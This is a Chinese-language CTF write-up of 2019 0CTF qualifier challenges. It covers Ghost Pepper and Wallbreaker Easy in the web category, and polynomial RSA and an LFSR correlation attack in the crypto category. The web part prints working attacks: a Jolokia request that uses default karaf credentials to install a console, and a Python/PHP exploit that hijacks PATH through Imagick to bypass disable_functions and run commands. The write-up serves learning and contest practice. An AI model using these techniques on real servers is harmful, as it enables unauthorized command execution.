2019 0CTF

果然 0CTF 是为神仙准备的,自闭了。

Web

Ghost Pepper

Java Web 没怎么接触过,利用这次学习一下。

参考:

  1. http://momomoxiaoxi.com/2019/03/26/tctf2019/#ghost-pepper
  2. https://blog.csdn.net/like98k/article/details/88797218

进去发现要登录,用 chrome 看不出,拿 firefox可以看到提示:

image.png

karaf/karaf 登录进去,发现什么也没有,看到是 Jetty,发现有 Jolokia,搜漏洞。

比较简单的一种做法是 karaf 有一个 webconsole,我们可以安装一个进控制台拿 flag。

1
2
3
4
5
6
7
8
9
10
11
POST /jolokia/exec HTTP/1.1
Host: 111.186.63.207:31337
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Authorization: Basic a2FyYWY6a2FyYWY=
Connection: close
Content-Type: text/plain
Content-Length: 150

{ "mbean": "org.apache.karaf:name=root,type=feature", "operation": "installFeature(java.lang.String)", "type": "EXEC", "arguments":["webconsole"]}

访问 http://111.186.63.207:31337/system/console/gogo

image.png

另一种是通过osgi.core 的 installBundleFromURL 来安装bundle,这部分可以参考@moxiaoxi的wp。

Wallbreaker Easy

赛后看各位大师傅们的 wp,基本都是通过启用新的进程来调用 so,so文件我们可控并通过修改LD_PRELOAD 方式加载来执行命令。这里贴上几个链接。

  1. https://xz.aliyun.com/t/4589
  2. http://momomoxiaoxi.com/2019/03/26/tctf2019/
  3. https://paper.tuisec.win/detail/d4ba64dd4d1dc38

以及柠檬师傅的bypass disable_functions总结

此外还看到了一种突破 open_basedir,从而读别人目录下 flag 的操作:https://balsn.tw/ctf_writeup/20190323-0ctf_tctf2019quals/#wallbreaker-easy

还有一种解法相比劫持函数简单一些。在调用 Imagick 将 png、bmp等格式的文件转成 jxr 类型时,会调用系统PATH 路径下的 JxrEncApp来进行转换。参考

所以我们可以利用 putenv 把 PATH 改到自己的 tmp 路径下,把要执行的命令写到该路径下的 JxrEncApp里,这样我们在转换的时候就可以执行系统命令了。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import requests
import base64

dir="/tmp/2204d9af0488be704281eca42608c464"
exploit_php = '''
<pre>
Open Basedir: <br><?php echo ini_get('open_basedir');?><br>
Disable functions: <br><?php echo ini_get('disable_functions'); ?>
<?php

$tmp = "%s";

file_put_contents("$tmp/1.bmp", file_get_contents("http://www.humanesociety.org/sites/default/files/2018/06/cat-217679.jpg"));
$exp = <<<EOF
#!/bin/bash
/readflag > $tmp/data
EOF;

file_put_contents("$tmp/JxrEncApp", $exp);
chmod("$tmp/JxrEncApp", 0777);
putenv("PATH=$tmp:/usr/sbin:/usr/bin:/bin");

try {
$a = new Imagick();
$a->readImage("$tmp/1.bmp");
$a->writeImage("$tmp/1.jxr");
} catch (Exception $e) {
var_dump($e);
};
?>
<br>
Command output:
<?php
echo file_get_contents("$tmp/data");
?>
</pre>
'''% dir
gadget_code = '''
file_put_contents("%s/gml", base64_decode("%s"));
include "%s/gml";
unlink("%s/gml");
'''% (dir,base64.b64encode(exploit_php),dir,dir)
print(requests.post("http://111.186.63.208:31340", data={'backdoor': gadget_code }).content)

Crypto

0CTF的 Crypto 抬手就是论文,真实。

babyrsa

pubkey.py 中发现 RSA 的公钥 e=31337,而 N 是个多项式。

image.png

rsa.sage:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/usr/bin/env sage
# coding=utf-8

from pubkey import P, n, e
from secret import flag
from os import urandom

R.<a> = GF(2^2049)

def encrypt(m):
global n
assert len(m) <= 256
m_int = Integer(m.encode('hex'), 16)
m_poly = P(R.fetch_int(m_int))
c_poly = pow(m_poly, e, n)
c_int = R(c_poly).integer_representation()
c = format(c_int, '0256x').decode('hex')
return c

if __name__ == '__main__':
ptext = flag + os.urandom(256-len(flag))
ctext = encrypt(ptext)
with open('flag.enc', 'wb') as f:
f.write(ctext)

多项式 RSA 算法,google 了相关论文:http://www.diva-portal.se/smash/get/diva2:823505/FULLTEXT01.pdf

这个题每项都是模2的,所以 p = 2,类似于一般的 RSA 难点是分解大数 N,多项式 RSA 是对多项式 N 进行因式分解(系数模 p )。

我选择使用 Mathematica 来分解(简直神器,用这个工具解了好多密码题…)

1
Factor[多项式,Modulus->2]

可以看到 Mathematica 给出了结果:

image.png

两个因式的最高次数是 821 和 1227,那么可以计算 s(参照上面提到的论文):

image.png

s = (2^821-1) * (2^1227-1)

这个 s 类似于一般 RSA 中的 n 的欧拉值(phi),然后就是求逆元 d 了

1
2
3
4
5
6
from gmpy2 import *

s=(2**1227-1)*(2**821-1)
e = 31337
d = invert(e,s)
print d
1
28371355076358206651880108899447906576372266284154280282347957145120170645734899523334978078067679493874344060469168599875633378810644150054152285167807343298071802254581411860744158353096011714907819564399402714709858337654437633205741705120012058022068404602368525225166892620782231104596296684392603977673442420869964883518757302131139464582403543008517510576759631853686083804876647805871645437996963908242523987920166730933950556409136138395339773872530985876082852299816804207673785130661047844641798164979597836577807048385040982943227701240014693785196556609759136982566512240594608088626862145862029373010104

拿到 d 最后就是解密,sage 脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from sage.all import *
from pubkey import P, n, e

R.<a> = GF(2^2049)
d = 28371355076358206651880108899447906576372266284154280282347957145120170645734899523334978078067679493874344060469168599875633378810644150054152285167807343298071802254581411860744158353096011714907819564399402714709858337654437633205741705120012058022068404602368525225166892620782231104596296684392603977673442420869964883518757302131139464582403543008517510576759631853686083804876647805871645437996963908242523987920166730933950556409136138395339773872530985876082852299816804207673785130661047844641798164979597836577807048385040982943227701240014693785196556609759136982566512240594608088626862145862029373010104

with open('flag.enc', 'r') as f:
c = f.read()

c_int = int(c.encode("hex"),16)
c_poly = P(R.fetch_int(c_int))
m_poly = pow(c_poly, d, n)
m_int = R(m_poly).integer_representation()
print hex(m_int)[2:-1].decode("hex")
1
2
3
4
5
6
babyrsa$ sage solve.sage
flag{P1ea5e_k33p_N_as_A_inTegeR~~~~~~}jIƲ▒▒
▒;f▒$!$▒▒w▒u▒▒▒▒=[▒▒z;▒#6u▒L▒▒:▒Xl▒ژ▒▒H▒M0b▒▒▒
▒^▒b▒▒m▒▒▒▒▒d▒9▒▒A▒ ▒ ▒▒!▒
=
p▒▒▒p▒h▒▒▒>TɖMÔ▒▒▒Rx▒Z▒▒▒▒6▒(▒ar▒/^pa▒▒▒ٌg▒F7X▒▒܃▒▒2▒▒▒▒▒rvKn6▒?:▒B▒▒▒*▒▒y▒▒y

zer0lfsr

比赛的时候看到题目就想到了强网杯的 streamgame3,通过多个线性反馈移位寄存器的线性组合来构成一个非线性反馈移位寄存器。首先列一下 x1 x2 x3 对应最后输出的表,发现x1,x2,x3 都有 3/4 的概率与最终输出的结果相同。当时的 streamgame3 每个 LFSR 最多只不过 21 bit,这次的三个 LFSR 都是 48 bit,没法爆破,GG。

这个题的反馈位(抽头)都只有两个,很少,感觉应该有东西。google 了很多论文发现了当抽头数较少时可以采用快速相关攻击来进行攻击。最经典的是 Meier和Staffelbach提出的算法A和算法B ,但是我没有找到相应的实现脚本… 自己啃论文写脚本写不出,还是太菜了。

从@iromise 师傅那里要来了快速相关攻击的实现:链接

按照 README 安装就好了,需要安装 GNU Scientific Library 。GSL安装参考:http://www.voidcn.com/article/p-hpwbigec-dd.html

我在安装中使用了 sudo 还是出现了没有权限的错误,把文件夹 chmod 777 一下,make clean 后再重新 make。

使用:以这道题第一个 lfsr 为例,输入文件格式如下:

1
2
3
4
5
6
7
0.75
65536
48
2
23
48
比特流(65536个)

第一行是之前说的 3/4,第二行是提供的输出比特个数,第三行是 lfsr 状态比特位数,第四行是抽头个数 n,后面 n 行就是抽头的位置,最后一行就是提供的比特流。

这个题有个坑点,题目输出的 keystream 是 utf-8 编码的。。。我直接 python2 open("keystream","rb").read()发现竟然长度不是 8192…一脸懵逼

感觉 python3 的 byte 类型和 utf-8 编码使用起来很难受,可能是没用惯的原因。

先生成三个输入文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
data=open("keystream","rb").read()
data=data.decode()
init='''0.75
65536
48
2
{}
{}
'''
stream="".join([ bin(ord(c))[2:].zfill(8) for c in data])
open("init1","w").write(init.format(23,48)+stream)
open("init2","w").write(init.format(14,48)+stream)
open("init3","w").write(init.format(42,48)+stream)

然后使用快速相关攻击还原每个 lfsr 的比特流:

1
2
3
gml@gml-virtual-machine  ~/CTF/fastcorrattack  src/fca ./zer0lfsr/init1 >./zer0lfsr/result1 
gml@gml-virtual-machine  ~/CTF/fastcorrattack  src/fca ./zer0lfsr/init2 >./zer0lfsr/result2
gml@gml-virtual-machine  ~/CTF/fastcorrattack  src/fca ./zer0lfsr/init3 >./zer0lfsr/result3

这样 result1、result2、result3 中就会还原出每个 lfsr 的比特流。接下来我们还原初始状态,这部分不懂的可以看一下我的这篇中的2018国赛 oldstreamgame

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import hashlib

mask1=0b100000000000000000000000010000000000000000000000
mask2=0b100000000000000000000000000000000010000000000000
mask3=0b100000100000000000000000000000000000000000000000

def LFSR_inv(R,mask):
str=bin(R)[2:].zfill(48)
new=str[-1:]+str[:-1]
new=int(new,2) #R循环右移一位得到new
i = (new & mask) & 0xffffffffffff
lastbit = 0
while i != 0:
lastbit ^= (i & 1)
i = i >> 1
return R>>1 | lastbit<<47

lfsr1=int("100100011111111010101110010010110100101000110011",2)
lfsr2=int("001101101101101111001001101101110000001001000011",2)
lfsr3=int("001000101001101100100001101111101011101010100001",2)

for _ in range(48):
lfsr1=LFSR_inv(lfsr1,mask1)
lfsr2=LFSR_inv(lfsr2,mask2)
lfsr3=LFSR_inv(lfsr3,mask3)

result=b''.join([i.to_bytes(6,'big') for i in (lfsr1,lfsr2,lfsr3)])
print("flag{"+ hashlib.sha256(result).hexdigest()+"}")

flag{b527e2621131134ec22250cfbca75e8c9f5ae4f40370871fd55910927f66a1b4}

此外也可以使用 z3 约束求解,较为简便。参考:

https://hxp.io/blog/49/0CTF-Quals-2019-zer0lfsr-writeup/

-------------本文结束感谢您的阅读-------------
0%